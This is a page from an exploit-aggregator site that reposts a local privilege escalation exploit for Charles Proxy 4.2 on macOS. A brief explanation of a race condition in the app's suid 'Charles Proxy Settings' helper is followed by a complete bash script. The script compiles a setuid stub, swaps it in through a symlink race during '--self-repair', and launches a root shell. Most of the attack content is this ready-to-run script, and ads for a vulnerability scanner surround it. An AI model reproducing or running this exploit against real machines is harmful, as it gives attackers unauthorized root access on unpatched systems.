charles proxy 4.2 local privilege escalation

▸▸▸ Exploit & Vulnerability >>   local exploit & macos vulnerability




charles proxy 4.2 local privilege escalation Code Code...
				
Charles Proxy is a great mac application for debugging web services and inspecting SSL traffic for any application on your machine. In order to inspect the SSL traffic it needs to configure the system to use a proxy so that it can capture the packets and use its custom root CA to decode the SSL. Setting a system-wide proxy requires root permissions so this is handled by an suid binary located within the Charles application folder: /Applications/Charles.app/Contents/Resources/Charles Proxy Settings Unfortunately this binary is vulnerable to a race condition which allows a local user to spawn a root shell. It supports a parameter "--self-repair" which it uses to re-set the root+suid permissions on itself, with a graphical dialog shown to the user. However if this is called when the binary is already root+suid then no password dialog is shown. It doesn't validate the path to itself and uses a simple API call to get the path to the binary at the time it was invoked. This means that between executing the binary and reaching the code path where root+suid is set there is enough time to replace the path to the binary with an alternate payload which will then receive the suid+root permissions instead of the Charles binary. This issue was fixed in Charles 4.2.1 released in November 2017. https://m4.rkw.io/charles_4.2.sh.txt 2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284 ------------------------------------------------------------------------------- #!/bin/bash #################################################### ###### Charles 4.2 local root privesc exploit ###### ###### by m4rkw - https://m4.rkw.io/blog.html ###### #################################################### cd user="`whoami`" cat > charles_exploit.c <<EOF #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL); return 0; } EOF gcc -o charles_exploit charles_exploit.c if [ $? -ne 0 ] ; then echo "failed to compile the exploit, you need xcode cli tools for this." exit 1 fi rm -f charles_exploit.c ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings ./Charles\ Proxy\ Settings --self-repair 2>/dev/null & rm -f ./Charles\ Proxy\ Settings mv charles_exploit Charles\ Proxy\ Settings i=0 while : do r=`ls -la Charles\ Proxy\ Settings |grep root` if [ "$r" != "" ] ; then break fi sleep 0.1 i=$((i+1)) if [ $i -eq 10 ] ; then rm -f Charles\ Proxy\ Settings echo "Not vulnerable" exit 1 fi done ./Charles\ Proxy\ Settings

Charles proxy 4.2 local privilege escalation Vulnerability / Exploit Source : Charles proxy 4.2 local privilege escalation



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.